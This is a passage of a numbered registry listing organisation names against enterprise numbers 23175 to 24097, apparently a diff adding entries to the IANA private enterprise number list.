+23175 WorkCompCentral.com, Inc.
+23176 SpeedPartner GmbH
+23177 Cirond Corporation
+23178 Helix Ltd.
+23179 Bilfrost Incorporated, Inc.
+23180 TELEVES S.A.
+23181 Weed Instrument Company Inc.
+23182 Sussman Automotive
+23183 Amnis Limited Company
+23184 Applied Microsystems, Inc.
+23185 Isensix, Inc.
+23186 4A Solutions Ltd.
+23187 Rene Thomas Folse Inc.
+23188 Maxi Net Services
+23189 NETPLEX LLC
+23190 Interland, Inc
+23191 Nvia Gestion de Datos S.L
+23192 Norlight Telecommunications
+23193 M-Vision
+23194 Northwest University
+23195 Afar Communications Inc.
+23196 DeveTel S.A.
+23197 HAN InfoComm
+23198 One Cow Standing
+23199 MCGV Stack
+23200 NetFocus Technologies, Inc.
+23201 ACI Communications, Inc.
+23202 zinfo.us
+23203 tasmanstudios Ltd.
+23204 Stratacache, Inc.
+23205 Alcormizar Inc.
+23206 Clinical DataFax Systems Inc.
+23207 BIA B.V.
+23208 Rhodanie Systemes et Reseaux Sarl
+23209 Union Compagnonnique
+23210 Pyramid Robotics
+23211 Queue Global Information Systems Corp.
+23212 Cuttriss Consulting
+23213 Wilico Wireless Networking Solutions SA
+23214 j2anywhere.com
+23215 Netensia
+23216 Bawue.Net e.V.
+23217 Chambre de Commerce et d'Industrie de Brest
+23218 Betanetworks Ltd.,ShangHai, China
+23219 DriveTime Automotive Group, Inc.
+23220 ICO Ltd.
+23221 ROCSYS Technologies Pvt.Ltd.
+23222 ESI SOFTWARE
+23223 StartCom Ltd.
+23224 Sutton Group Realty Services Ltd.
+23225 Maxitel S/A
+23226 Dolphin Software
+23227 Kayak Interactive
+23228 City of Las Vegas Nevada
+23229 oneK Internet Solutions Inc.
+23230 Captara Corporation
+23231 tekVizion PVS, Inc
+23232 TrackAbout, Inc.
+23233 Webdoeds
+23234 HOPS International Inc
+23235 DTI2
+23236 Escher Group Ltd
+23237 Softier Inc.
+23238 FCI Broadband Communications Inc.
+23239 Aquest Systems, Incorporated
+23240 the Centers
+23241 Protection and Guard Service
+23242 SDRC Inc.
+23243 Algorab SRL
+23244 Improbable Universe
+23245 Westdeutsche ImmobilienBank
+23246 Harmonia Inc.
+23247 Wm-Data PARERE
+23248 TRE-CE
+23249 National Center for Biotechnology Information (NCBI)
+23250 fgn GmbH
+23251 Servicios Corporativos Gefe S.A. de C.V.
+23252 MYDOM
+23253 Premier Image Corporation
+23254 Leebel Services
+23255 1D Solutions
+23256 Wit-Sys Consulting Corporation
+23257 OSIsoft, Inc.
+23258 SdO Information Technology s.r.l.
+23259 Stadt Frankfurt am Main
+23260 Paradial AS
+23261 Structured Information Management (SIM) Project
+23262 Obiect Soft SRL
+23263 EXCELIANCE
+23264 Unicon Solutions NV
+23265 Hedgehog Computer Services
+23266 Frank Lowe Rubber & Gasket Co., Inc.
+23267 Certic·mara S.A.
+23268 Sunwayworld Infomation Technology Inc.
+23269 NeoNova Network Services Inc.
+23270 AW Comp
+23271 Protium Technologies, Inc.
+23272 Runcom Technologies Ltd.
+23273 Eletech S.r.l.
+23274 Mindsphere AS
+23275 Pro Help
+23276 Cooperativa dos Agricultores da Regiao de Orlandia
+23277 ClusterVision BV
+23278 Computer Royalties
+23279 Picis, Inc.
+23280 DigitalFreaks.org
+23281 Liaoning Mobile Communications CO.LTD
+23282 iBright
+23283 I/O Concepts, Inc.
+23284 Identify Technology Solutions
+23285 STRATUM-IP
+23286 Gottfried Hamm KommunikationsSysteme
+23287 Joint Concepts Development
+23288 Hands-On Security, Inc.
+23289 Dandy Connections, Inc.
+23290 Shaanxi Normal University
+23291 SigValue Technologies
+23292 Aternity Inc.
+23293 Zafin Labs
+23294 GeFoekoM e.V.
+23295 Ingenium NET SRL
+23296 Yawarra Information Appliances Pty Ltd
+23297 schlittermann -- internet & unix support
+23298 WestLotto GmbH & Co oHG
+23299 LRF
+23300 ABEM Instrument AB
+23301 Datenverarbeitungszentrum Halle GmbH
+23302 LINBIT Information Technologies GmbH
+23303 Dot Communications
+23304 Codan Limited
+23305 Woojyun Systec
+23306 BeiJing Techstar Ltd.
+23307 Machaira Enterprises Pty Ltd
+23308 NATIONAL CENTER FOR HIGH-PERFORMANCE COMPUTING
+23309 AR Infotek Inc.
+23310 OFiR a-s
+23311 Macab AB
+23312 IntelliCom Innovation AB
+23313 Tesla a.s.
+23314 Plantron AB
+23315 Boldon James Ltd
+23316 Niedersaechische Forstliche Versuchsanstalt
+23317 Heinrich Bauer Verlag KG
+23318 Comune di Bologna
+23319 SIRLAN Technologies SAS
+23320 Orange Romania SA
+23321 Frank Juedes EDV-Service
+23322 Aircom International
+23323 Cable & Wireless Telecommunication Services GmbH
+23324 swarco
+23325 KOTIO
+23326 Association des diplômés des formations Systèmes de Télécommunications et Réseaux Informatiques
+23327 VAD Video-Audio_Design GmbH
+23328 quadraginta-duo.de
+23329 McDaniel College
+23330 CommScope Inc. of North Carolina
+23331 Johnson Bible College
+23332 ADCC Inc.
+23333 Computer Resource Team, Inc.
+23334 Gorman Electronics,Inc.
+23335 Hampton Roads Maritime Association
+23336 VELUX A/S IT Department
+23337 Cybertrust
+23338 OpenS Tecnologia e Processamento de Dados Ltda.
+23339 JUNG Analog- und Digital-Systemtechnik GmbH
+23340 Kedah Electronics Engineering
+23341 Astute.BIZ, Inc.
+23342 Pathfinder Associates LLC
+23343 Invensys/Wonderware
+23344 AXS-One Inc.
+23345 System Control Networks
+23346 Voya Financial (formerly 'CitiStreet, LLC')
+23347 Infra Resource, LLC.
+23348 PC KNOW HOW CENTER Brachhold GmbH
+23349 NTT GIN
+23350 Vertasent, LLC
+23351 Watertown Public Schools, Watertown, MA, USA
+23352 Cognis Corporation
+23353 Intelaware
+23354 Niska AB
+23355 Gosh Enterprises, Inc.
+23356 TRYSKEL
+23357 Seaglass
+23358 Typhon SARL
+23359 Hexod
+23360 Pacific Union College
+23361 TEConcept GmbH
+23362 Leviton Mfg Co.
+23363 Sumach GB Ltd
+23364 Bryn Mawr College
+23365 Websense, Inc.
+23366 ValueClick, Inc.
+23367 Host Europe GmbH (formerly 'm networking')
+23368 GHK Wireless
+23369 Shawn Church, Information Systems Consultant
+23370 Joel Davis
+23371 BestInfo Cyber Technology Co.,Ltd
+23372 Bloombase
+23373 NEC Kansai, Ltd.
+23374 REDtone Telecommunications Sdn. Bhd.
+23375 Islandwide Express
+23376 Hyundai Network System, Inc.
+23377 IT Solution Services Co.,Ltd.
+23378 T&C Technology
+23379 HUK-COBURG VVaG
+23380 Datadec Online, S.A.
+23381 Die GRUENEN
+23382 Swissphone Telecom AG
+23383 Azienda Sanitaria Locale N.4 Chiavarese
+23384 Aptus Elektronik AB
+23385 GESIS Gesellschaft für Informationssysteme mit beschraenkter Haftung (formerly 'GESIS mbH')
+23386 Pole Universitaire Leonard de Vinci
+23387 iXTS Software GmbH
+23388 Hypercube Systems Ltd.
+23389 IZB München-Frankfurt a. M. GmbH & Co. KG
+23390 easyWAN GmbH
+23391 Atomwide Ltd.
+23392 Insightix Ltd.
+23393 LLC CTI - Center of Telephony Integration
+23394 Groupe Wesford
+23395 Trustedtec
+23396 Neighbourhood Link
+23397 Fine Point Technologies, Inc
+23398 MTS Allstream Inc.
+23399 The National Science Foundation
+23400 Midcontinent Communications
+23401 Sliwa.EU.org Network
+23402 XMedius Solutions Inc. (formerly 'Interstar Technologies Inc.')
+23403 Sharp HealthCare
+23404 DAVANTEL
+23405 JSC Sahalinmorsvjaz
+23406 LDAPtive Pty Ltd
+23407 eyePower Limited
+23408 Rhombus Systems Ltd.
+23409 Torque.net inc.
+23410 Hackstrike Ltd.
+23411 ServInfo
+23412 Arcontech Ltd
+23413 Melange Corporation
+23414 Ilmarinen Mutual Pension Insurance Company
+23415 nordsys.com
+23416 MIT-xperts GmbH
+23417 COPITEC - Consejo Profesional de Ingeniería de Telecomunicaciones, Electrónica y Computación
+23418 Gridlogix, Inc.
+23419 Talk24
+23420 APS systems AG
+23421 Altana Pharma AG
+23422 Instituto Superior de Contailidade e Administracao de Coimbra
+23423 Osmosys S.A.
+23424 Maximum Impression, LLC
+23425 QS Technologies, Inc.
+23426 Louverturenet
+23427 The Home Depot Supply MRO
+23428 NOC, School of Engineering, Morgan State University
+23429 Eurocis
+23430 Lumigent Technologies, Inc.
+23431 CAMed
+23432 Packet Island Inc.
+23433 BGComp Inc.
+23434 Georgia Technology Authority
+23435 Rock Holdings Inc.
+23436 Mexicana de Electromecanicos SA de CV
+23437 Don Bosco Institute of Technology
+23438 Beijing Wandong Medical Equipment Co. Ltd.
+23439 HurdFr
+23440 Avvenu Inc.
+23441 R.A.Systems
+23442 RockMon IT-Consulting
+23443 miniprobe
+23444 LATECOERE
+23445 Jordan Curzon
+23446 H5-Group
+23447 Opsware Inc.
+23448 Avitech AG
+23449 Tripod Technology Group, Inc.
+23450 W. A. Strosberg
+23451 Wallenius Wilhelmsen Lines
+23452 SunGard Availability Services
+23453 KungFoo
+23454 EFit partners
+23455 Exceptional Software Strategies, Inc.
+23456 NetCarrier Inc
+23457 AMVESCAP PLC
+23458 National Cybernet Security LTD
+23459 Chunghwa Telecom Co., Ltd.
+23460 Profilium Inc.
+23461 In4S, Inc.
+23462 Unixconn
+23463 Kolporter Info S.A.
+23464 Department of IT, University of Defense, Czech Armed Forces
+23465 VIVOTEK INC.
+23466 Vision Fire and Security
+23467 Shanghai INFOPLS Network Technology Co.,Ltd. , China
+23468 NGC Systems Sdn Bhd
+23469 opensoul.org
+23470 LOGATIQUE
+23471 Digita Oy
+23472 mangoART.AT - Web- und Multimediatechnik, Softwareentwicklung
+23473 Panda Software International S.L.
+23474 EITB
+23475 Softel Group
+23476 British Educational Communications and Technology Agency
+23477 DABiS AG
+23478 Provincia di Firenze
+23479 Sulake Corporation Oy
+23480 Degussa Bank GmbH
+23481 Infoaxis Ltd
+23482 Altobridge Ltd.
+23483 University of North Carolina Asheville
+23484 C .D.H. srl
+23485 AusCERT - Australian Computer Emergency Response Team
+23486 NetCentrum Ltd.
+23487 Daxten Ltd
+23488 Technica Corporation
+23489 Visplex Association
+23490 ENIDAN Technologies GmbH
+23491 CyberTech B.V.
+23492 LightCore Co., Ltd.
+23493 Aminfu Hudima
+23494 Mint Systems Ltd.
+23495 IT-Pro Peter Lechner
+23496 Boursorama
+23497 Lswei
+23498 Shanghai Asia-Pacific Computer Information System Co, Ltd.
+23499 Siemens Programm- und Systementwicklung GmbH & Co. KG
+23500 Articy Computer System & Service
+23501 SailBum Enterprises, LLC
+23502 Renew Data Corp
+23503 Arizona Foundation for Medical Care
+23504 TWENTIETH CENTURY FOX FILM CORPORATION
+23505 Programming/Design
+23506 Pleiades Consulting, Inc
+23507 salesforce.com
+23508 EVI
+23509 BVCompuworks
+23510 Centro Cultural y Deportivo Tajamar
+23511 TELUS
+23512 Copi Family
+23513 Westline Security Ltd.
+23514 Michaels Stores Inc.
+23515 TEKMOB, lda
+23516 CitiCards
+23517 Leviton Voice And Data
+23518 Tomas Zoufaly
+23519 Regal-Beloit Corporation
+23520 Unassigned
+23521 Amherst County Public Schools
+23522 Volicon, Inc.
+23523 MT-C S.A.
+23524 Weberhofer GmbH
+23525 Aleksey Barabanov
+23526 Auster Sistemas & Soluções de Informática Ltda.
+23527 NewPage Corporation
+23528 The Laddie Group
+23529 APP!X S.R.L.
+23530 State of Alaska, Enterprise Technology Services
+23531 Practeo SA
+23532 PLAN Australia Pty Ltd
+23533 PJR.cc
+23534 Supertronic Spa
+23535 Holly Australia Pty Ltd
+23536 eNClue Co., Ltd.
+23537 Shanghai Dreaming Information Technology Co., Ltd.
+23538 Jenston Technology Corporation Ltd.
+23539 teamdzr
+23540 Cordys Holding B.V.
+23541 Emcore Corporation
+23542 CryptoSign
+23543 iCONN
+23544 Allen ReSearch
+23545 West Ridge Networks, Inc.
+23546 Wagner and Associates Groupware Services, Inc
+23547 IFSERCON COM s.r.l.
+23548 Elber S.r.L.
+23549 Toyo Networks & System Integration Co., Ltd.
+23550 e-World Developments Ltd
+23551 ErgonomiX Software GmbH
+23552 JPS Communications
+23553 Discover Financial Services, Inc.
+23554 PEMI
+23555 contentteam GmbH
+23556 Centre de Gestion Ocean
+23557 EEA communication solutions
+23558 IPsoft Inc.
+23559 United Information System Service Co., Ltd.
+23560 edreams
+23561 Anite Deutschland GmbH & CO.KG
+23562 Smartware Computing
+23563 DUX Inc.
+23564 Schmidt GmbH
+23565 Panta Computer Systems
+23566 Infohit Computers d.o.o.
+23567 Georg-Christoph-Lichtenberg-Schule, Kassel
+23568 Noel-Plus, s.r.o.
+23569 TeamWorx Productions Ltd.
+23570 Soliton
+23571 IPBS-CNRS
+23572 WebMagician Global
+23573 Kids & Co g.e.V.
+23574 TU Hamburg-Harburg
+23575 Wayfinder Systems AB
+23576 ADVIS Maciej Matysiak
+23577 Enfo Partner Oy
+23578 MSC Vertriebs GmbH (formerly 'Smart Network Devices GmbH')
+23579 Centrica plc
+23580 Andritz Oy
+23581 Hacousto Holland
+23582 ESEO
+23583 APOS Systems Inc.
+23584 Logical Progression Ltd
+23585 Bank Technologies Centre
+23586 Ralf Kirchner Systemanalyse
+23587 PROFIcomms s.r.o.
+23588 FOI, Swedish Defence Research Agency
+23589 Max Zinal's Number
+23590 F.I.A.S.A.
+23591 CCNY
+23592 Iowa Counties Information Technology
+23593 Dipl.-Ing. Heiko Boesel
+23594 EBI L.P.
+23595 Virginia Employment Commission
+23596 pikkerton GmbH
+23597 Esica Terra Inc.
+23598 UX
+23599 Studio Network Solutions
+23600 Transora
+23601 Emcom Systems
+23602 Fulano.com.br S/A
+23603 Optellios
+23604 GoldPocket Interactive, Inc.
+23605 Applications Plus, Inc.
+23606 DigiPen Institute of Technology
+23607 Mélix
+23608 Paul's Farm
+23609 Ix Appliance, Inc.
+23610 WDG s.c.
+23611 nLight, s.r.o.
+23612 Atlassian Software Systems
+23613 JAPAN IMAGE & NETWORK INC.
+23614 A. Wilton
+23615 HiFX IT & MEDIA SERVICES PVT. LTD.
+23616 SYNCHROSOFT
+23617 Deutsches Literaturarchiv Marbach
+23618 Saima Avandero Spa
+23619 SERGAS
+23620 Teltronix Ltd
+23621 Bechtel SAIC Company LLC
+23622 European Patent Office
+23623 Icon Multimedia
+23624 První certifikaèní autorita, a.s.
+23625 Intechgral Inc.
+23626 Poggs Computer Services
+23627 Interlix
+23628 California State University Dominguez Hills
+23629 SafeNet, Inc. (formerly 'Mykotronx, Inc.')
+23630 Computer Aid, Inc.
+23631 Azalea Networks, Inc.
+23632 Sneha Technologies S.L.
+23633 ipsys Communications AG
+23634 TC Automatisering
+23635 colin.de
+23636 Lycee Ader Bernay
+23637 Novartis Institutes og BioMedical Research Vienna GmbH & Co KG
+23638 Logilec
+23639 ParsGroup Informationstechnologie GmbH
+23640 Enercon Ltd.
+23641 Cascade Ltd
+23642 Tmidia Inc.
+23643 bsecure.dk
+23644 Siemens Ltd., China
+23645 DAF Trucks
+23646 Cell C (Pty) Ltd
+23647 SARL GALLET.info
+23648 ESV, LLC
+23649 Cornerturn, LLC
+23650 Opendicom
+23651 Integrated Decisions and system Inc.
+23652 Lewes Computer Services
+23653 Cirrus Technologies Pty Ltd
+23654 AICHI ELECTRIC CO., LTD.
+23655 CallDesk S.A.
+23656 Cult Hill Innovation Limited
+23657 TEDIS, a.s.
+23658 TUBITAK ULAKBIM
+23659 lars morich Kommunikationstechnik GmbH
+23660 DRS Technologies, Inc, C2 Systems
+23661 American TeleCare, Inc.
+23662 Blue Jungle, Inc
+23663 Storied Future Infrastructure
+23664 Federal Deposit Insurance Corporation
+23665 wiselink
+23666 BeaufortWeb
+23667 FredNet
+23668 Kaspersky Lab ZAO
+23669 Kyphon Europe
+23670 Nihon Kohden Corporation
+23671 CIS Hollywood
+23672 nTime Servicos de Informatica e Comercio Ltda
+23673 Bluesoft sp z o.o.
+23674 Edu Business Solutions
+23675 Foray Technologies Inc.
+23676 G&K Services inc.
+23677 Colonial Fiji
+23678 PCTEL, Inc.
+23679 Diligence Consulting, L.L.C.
+23680 Eclipse SP LLC.
+23681 terreActive AG
+23682 emuse Technologies Ltd.
+23683 EDV-COMPAS GmbH
+23684 Sensitech Inc.
+23685 Godsk.net
+23686 Softential, Inc.
+23687 Pobeda JSC
+23688 Summit Development, Ltd
+23689 Pervenio Ltd
+23690 Abstract Ltd.
+23691 VIA
+23692 IDactis
+23693 Networks & Concepts GmbH
+23694 PMX NETWORKS, INC
+23695 PePLink Ltd.
+23696 Nilai International College
+23697 hoi-polloi.org (formerly 'aspector GmbH')
+23698 RELDATA Inc.
+23699 Zyden Software
+23700 Internews 98 Ltd.
+23701 Cannon Technologies Ltd
+23702 SHD AG
+23703 Agile Software (NZ) Ltd
+23704 Calypso Capital Management
+23705 Salient Corporation, Inc
+23706 GlobalPOPs
+23707 LAFARGE ALUMINATES
+23708 HYMATOM SA
+23709 Miltope Corporation
+23710 Agincourt Computing
+23711 Seventh Skill Ltd
+23712 Minnesota Office of Enterprise Technology
+23713 Keating Inc
+23714 Data Systems S.A.E.C.A.
+23715 Live Monitoring Pty Ld (formerly 'Produ-Tech Monitoring Pty Ld')
+23716 United States Council for Automotive Research
+23717 Siricomm, Inc.
+23718 Esensors, Inc.
+23719 Arishi
+23720 Netifice Communications, Inc.
+23721 The Ideal Computer Group Inc.
+23722 CS-Soft, s.r.o
+23723 Great Power Electrin Science and Technology stock CO.LTD
+23724 Udo Neumann
+23725 Theserver Brasil / Multidiagnostica IT Team
+23726 VOTORANTIM INVESTIMENTOS INDUSTRIAIS S.A.
+23727 Marlin Trust Management Organization L.L.C
+23728 Versio SARL
+23729 DiVitas Networks
+23730 OVEA
+23731 Telestar
+23732 ShijiaZhuang Railway Institute
+23733 JGC Corporation
+23734 OEBB
+23735 Fondation RESTENA
+23736 IceWarp Ltd.
+23737 Ulm University of Applied Sciences
+23738 AWR Solution Network
+23739 HUG
+23740 SynerGIS Informationssysteme GmbH
+23741 Wogri Unlimited
+23742 CONNOTECH Experts-conseils inc.
+23743 Kerridge Computer Company Ltd
+23744 BITMARCK SOFTWARE GMBH (formerly 'Arbeitsgemeinschaft Informationssysteme in der gesetzlichen Krankenversicherung (ISKV)')
+23745 Black Hen Limited
+23746 Administration communale de Braine-l'Alleud
+23747 Areste Centre Informatique
+23748 Edinform S.p.A
+23749 Federal State Unitary Enterprise Leningrad Radio Research and Development Institute
+23750 new10 GmbH
+23751 PT. TRG international
+23752 ExcellNet IT Services and Consulting
+23753 Infinit Productions
+23754 Mairie de Savigny-Sur-Orge
+23755 Softrax Corporation
+23756 Promotora de Informaciones, S.A.
+23757 AR Telecom
+23758 Desert Cascade
+23759 Szolnok Város Polgármesteri Hivatal
+23760 LayerZero Power Systems, Inc.
+23761 CMSL
+23762 Time-Ware
+23763 Rent a PACS GmbH
+23764 Atamo Pty Ltd
+23765 GetNet Comunicacoes S/C LTDA
+23766 TriGeo Network Security, Inc.
+23767 Rensselaer Hartford Graduate Center, Inc
+23768 Integrated Management Resources, Inc.
+23769 Infinity Technology, Inc.
+23770 Andreoli Domenico
+23771 Marakana, Inc.
+23772 RoutePulse Technologies
+23773 Starfire Engineering & Technologies, Inc.
+23774 jNetX Inc.
+23775 Outer TI
+23776 RougeNetwork
+23777 Elektrarny Opatovice a.s.
+23778 BEZ Systems, Inc.
+23779 Asklepios Group
+23780 Prose Consulting Ltd. (formerly 'Freedomware UK')
+23781 Albertslund Ungdomsboliger
+23782 ASN
+23783 iTellus Holdings, Inc. (formerly 'Tellurian Networks, Inc.')
+23784 StrataLight Communications
+23785 CIC/CAFMICRO
+23786 DS DATA SYSTEMS GmbH
+23787 gnyrf.net
+23788 Matt Wright Consulting
+23789 GrammaTech, Inc.
+23790 Pearce Bevill Leesburg & Moore, P.C.
+23791 Adaptix
+23792 Axell Wireless Israel Ltd (formerly 'Dekolink Wireless Ltd')
+23793 Cluster Resources
+23794 Significant Bits
+23795 Movile (formerly 'Yavox Latin America')
+23796 SunWare GmbH & Co KG
+23797 KSIGN Co., Ltd.
+23798 Australia Post
+23799 icon Systemhaus GmbH
+23800 Roca Corporación Empresarial, S.A
+23801 Metrima Energi AB
+23802 Dekabank
+23803 Ecole Polytechnique
+23804 Rena Electronica B.V.
+23805 International Industrial Bank
+23806 Touch Clarity Ltd.
+23807 UIB Umwelt Informatik Büro GmbH
+23808 CCM Software Services Ltd.
+23809 Bridicum Security Group A/S
+23810 Rothschild Bank AG
+23811 Qbizm technologies, a.s.
+23812 INL SARL
+23813 Cendant TDS
+23814 ID-Tech Servicos em Informatica Ltda.
+23815 Waterbury Republican American
+23816 SlipStream Data Inc.
+23817 Ministerio de Economía, República Argentina
+23818 FirstEnergy Corp.
+23819 Epoch Integration Inc.
+23820 Lateral Net Ltd.
+23821 Irish Centre for High End Computing
+23822 MITSUI HOME CO.,LTD.
+23823 Wise Technology Co.,Ltd.
+23824 LAC Co., Ltd.
+23825 EZconn Corporation
+23826 HiSpeed Data, Inc.
+23827 GHY International
+23828 MKI Systems
+23829 W&W Informatik GmbH
+23830 Blekinge Studentservice AB
+23831 Teneros, Inc.
+23832 Aitec do Brasil Ltda
+23833 DentaQuest Ventures, Inc.
+23834 Fachhochschule Salzburg GmbH
+23835 emFAST Inc
+23836 DS4 Laser Technology s.r.l.
+23837 Jefferson County School District
+23838 BIATEL Systemy Komputerowe Sp. z oo.
+23839 GROX Networks
+23840 School District #57 (Prince George)
+23841 RAD-OP
+23842 Kuban Pharm Stocks, Ltd.
+23843 Departamento de Ciência da Computação/Universidade Federal da Bahia
+23844 Constellation Brands, Inc.
+23845 Schowalter, GbR
+23846 Endress+Hauser InfoServe GmbH+Co. KG
+23847 Elogic snc di Antonini Filippo
+23848 Middle Kingdom - SCA, Inc.
+23849 PACSGEAR, Inc.
+23850 Zyberit AB
+23851 CCI Consulting Ltd.
+23852 Seeing Machines Pty Ltd
+23853 eThinkSolutions,Inc.
+23854 Shipbuilding SS
+23855 Bullant Software
+23856 Imtec Imaging, LLC
+23857 NextIO, Inc
+23858 VadaTech Inc.
+23859 Puntoblu Srl
+23860 Schubert-Unternehmensgruppe
+23861 redweb.cz
+23862 AimValley B.V.
+23863 Fort Hays State University
+23864 Cascadia Information Technologies, Inc.
+23865 Synapps
+23866 Starnix Care Inc.
+23867 Silver Peak Systems, Inc.
+23868 sis-tec
+23869 HIOKI E.E.Corporation
+23870 EMSTONE Co.
+23871 Qno Technology Inc.
+23872 Rikom d.o.o.
+23873 MKC Michels & Kleberhoff Computer GmbH
+23874 ACLI Associazioni Cristiane dei Lavoratori Italiani
+23875 Gymnasium Münchenstein
+23876 PIXID SNC
+23877 Grid Operation Center, Aristotle University of Thessaloniki,
+23878 Stanton Grove Ltd
+23879 SAG Systemhaus GmbH AMS
+23880 Motionpath Digital Media Ltd
+23881 Avanton Inc.
+23882 Investidor Profissional Gestão de Recursos Ltda
+23883 Fresenius Medical Care North America
+23884 Fotofuxx
+23885 Continental City Networks Ltd
+23886 Hay Group, Inc.
+23887 Kawashima Labo Inc.
+23888 Tymar Systems Development
+23889 Daco System Elaborazione Dati S.r.l.
+23890 HCL Peripherals
+23891 ErgoGroup
+23892 Milpower Source
+23893 Klir Technologies, Inc.
+23894 Northshore School District
+23895 EvilGenius Networks
+23896 Netus Vaizovic k.d.
+23897 Trigger Software
+23898 Tesseract Corporation
+23899 SineRay Consulting Co.,Ltd
+23900 Progetti Ambientali Integrati s.a.s.
+23901 Digigram
+23902 ABB STOTZ-KONTAKT GmbH
+23903 Cargol.net Solucions Lliures S.L.L.
+23904 The Nielsen Company (formerly 'Arbitron Inc.')
+23905 VOCAL Technologies, Ltd.
+23906 Axalto Inc.
+23907 Advantage Security, S. de R.L. de C.V.
+23908 InfoEng Organization
+23909 Bel Ami Reisen
+23910 iPoint-media LTD.
+23911 Aurus
+23912 Q-go
+23913 Belle Bonfils Memorial Blood Center
+23914 pedro armelim unipessoal lda.
+23915 SuperGeo Tech. Inc.
+23916 Appear AS
+23917 Under Dusken
+23918 JPBerlin
+23919 Corporación Tedexis C.A.
+23920 Zoic Studios
+23921 ISSP Internet-Solutions Szongott & Pertl OEG
+23922 Milstein & Asoociates Inc.
+23923 Hobnob
+23924 readshaw.com
+23925 Cacti
+23926 Golf-Leagues.com
+23927 Ukrainian Catholic University
+23928 MVV Energie AG
+23929 entire technologies gmbh
+23930 Inferno Enterprises
+23931 Goodrich Corporation
+23932 TLD Solutions Ltd
+23933 CaveraSystems
+23934 April Nine Inc.
+23935 Architects of VoIP GmbH
+23936 china group zhejiang telecom corporation
+23937 ExtricomLtd
+23938 ANEDER BT
+23939 Avokia Inc.
+23940 Sysco S.p.A.
+23941 Opentaskforce
+23942 Intelligent Mobile Solutions, Inc.
+23943 Cendres & Métaux SA
+23944 DENIC eG
+23945 Institute of Journalism, University Dortmund
+23946 MINISTERO DELL'INTERNO - DIREZIONE CENTRALE POLIZIA CRIMINALE
+23947 Innovene LLC
+23948 Confernet Produtos e Servicos Ltd.
+23949 Swyx Solutions GmbH
+23950 Print Associates A/S
+23951 ExaProtect Technology
+23952 TJ COLLECTION Co Ltd
+23953 Australian Partnership for Advanced Computing
+23954 TriNix AB
+23955 PUCCAMP - Pontificia Universidade Católica de Campinas
+23956 PCL Constructors Inc.
+23957 Spacelabs Medical Data
+23958 310, JSC
+23959 micneu
+23960 Acquist Incorporated
+23961 CertiMail
+23962 Saisung Corporation Ltd.
+23963 Safe Host
+23964 T-Mobile Austria
+23965 Detecon International GmbH
+23966 Leiner & Wolff GbR
+23967 Tallence AG
+23968 Netvoyager PLC
+23969 arvato mobile
+23970 Hamburg Südamerikanische Dampfschifffahrts-Gesellschaft KG
+23971 Menzebach und Wolff IT-Consulting GbR
+23972 Fidelity MLS Systems and Solutions
+23973 Still Tripping Productions.
+23974 General Dynamics Robotic Systems
+23975 et al Innovations Ltd
+23976 Zebanon Inc.
+23977 My Computer Person
+23978 Sadel S.p.a.
+23979 Knoways s.r.l.
+23980 STS GmbH & Co. OHG
+23981 MWS
+23982 tty1.net
+23983 Hampshire Constabulary
+23984 RyCo Electronic Systems Limited
+23985 S.O.Ge.S.A. s.a.s. di Ugo Grassi & C.
+23986 ENENSYS Technologies SAS
+23987 Autoridad Portuaria de Barcelona
+23988 Elink GmbH
+23989 CableFree Networks
+23990 Shifa International Hospitals
+23991 Planeetta Internet Oy
+23992 Social Science Computing Cooperative
+23993 Linear Technology Corporation
+23994 OpenDarwin Project
+23995 Eightball Productions
+23996 Fuego Inc.
+23997 Florida Department of State
+23998 RUF Telematik AG
+23999 FTI Consulting, Inc
+24000 ABN AMRO Bank Services
+24001 Fiege Logistik (Schweiz) AG
+24002 Ingenieria Diez Cisneros, S.A.
+24003 Cellcom
+24004 Onus Petro Services
+24005 Alexa Internet, Inc.
+24006 Weidlinger Associates Inc.
+24007 Globat.com
+24008 Great Bay Software
+24009 NextHop Technologies, Inc.
+24010 ELESIGN
+24011 Newtech.Co.,Ltd.
+24012 eASPNet Taiwan Inc.
+24013 RTX Telecom A/S
+24014 Landesversicherungsanstalt Rheinprovinz
+24015 CODAFIX SYSTEM
+24016 Bionix AB
+24017 teegee
+24018 Frederikshavn Gymnasium og HF-kursus
+24019 CertiPath, Inc
+24020 Metagistics
+24021 13 Spiders Ltd
+24022 Optelian Access Networks Corp.
+24023 IEA Software, Inc.
+24024 Tecsidel, S.A.
+24025 MVP Software, Inc.
+24026 Cube Route
+24027 Dexa Medica Group
+24028 Bayerwald Fenster Haustueren GmbH & Co. KG
+24029 HEYFRA electronic GmbH
+24030 CenterTools Software GmbH
+24031 Nomus Comm-Systems
+24032 dmstools AG
+24033 Peerex Ltd
+24034 The Royal Botanic Gardens, Kew
+24035 AFIP
+24036 howard.org
+24037 Revolt Ltd.
+24038 VistaPrint USA Inc.
+24039 Lutz Badenheuer
+24040 BARREL Investment Company Ltd.
+24041 M7 Software BV
+24042 AMS 1769 Ltd
+24043 Tanel Unt
+24044 Cthulhu Inc.
+24045 Dwerryhouse IT Consulting
+24046 TMSw Corp.
+24047 Netfabric Corporation
+24048 United Devices
+24049 eApps
+24050 Orion Systems International
+24051 Seneca Software & Solar, Inc.
+24052 Wedo Consulting
+24053 Xspedius Communications
+24054 NextNine Ltd.
+24055 Govolution, Inc.
+24056 JDI ICT
+24057 Robert D. Allen
+24058 AltCall Pty Ltd
+24059 Zuzax LLC
+24060 icube
+24061 Amtium Computer Network Communiction Tech. CO,LTD£»
+24062 Korenix Technology Co., Ltd.
+24063 NetComm Wireless Ltd (formerly 'Call Direct Cellular Solutions Pty. Ltd')
+24064 Florian Hagedorn IT-Services
+24065 TelcoSI
+24066 Beijing WaterTek Information Technology Co.,Ltd.
+24067 Webraska do Brasil
+24068 Tier-3 Pty Ltd.
+24069 IP Systems Pty Ltd
+24070 AMANO Corporation
+24071 Zenitel Radioteknik
+24072 Code Mercenaries Hard- und Software GmbH
+24073 Abeo AS
+24074 ASI Controls
+24075 ELIA N.V. / S.A.
+24076 National Institute for Public Health and the Environment
+24077 Zeus Informationstechnologie GmbH
+24078 ISVA-Project Team (EADS-ISR, FHG-IITB, FGAN-FOM, FGAN-FKIE)
+24079 Cacanska banka a.d. Cacak
+24080 key-stone BV
+24081 Paxfire Inc
+24082 GTL Limited
+24083 Securitect
+24084 Managed Network Solutions, Inc.
+24085 Fitre S.p.A.
+24086 Medizinische Hochschule Hannover
+24087 International Grid Trust Federation
+24088 Diamelle inc
+24089 Lexbox
+24090 Central Library, Aristotle University of Thessaloniki
+24091 SEW-EURODRIVE GmbH & Co KG
+24092 I-Way Computers bvba
+24093 JSC Format Link
+24094 UniBwM
+24095 MioSoft Corporation
+24096 University of Douala
+24097 Thoralf Linss
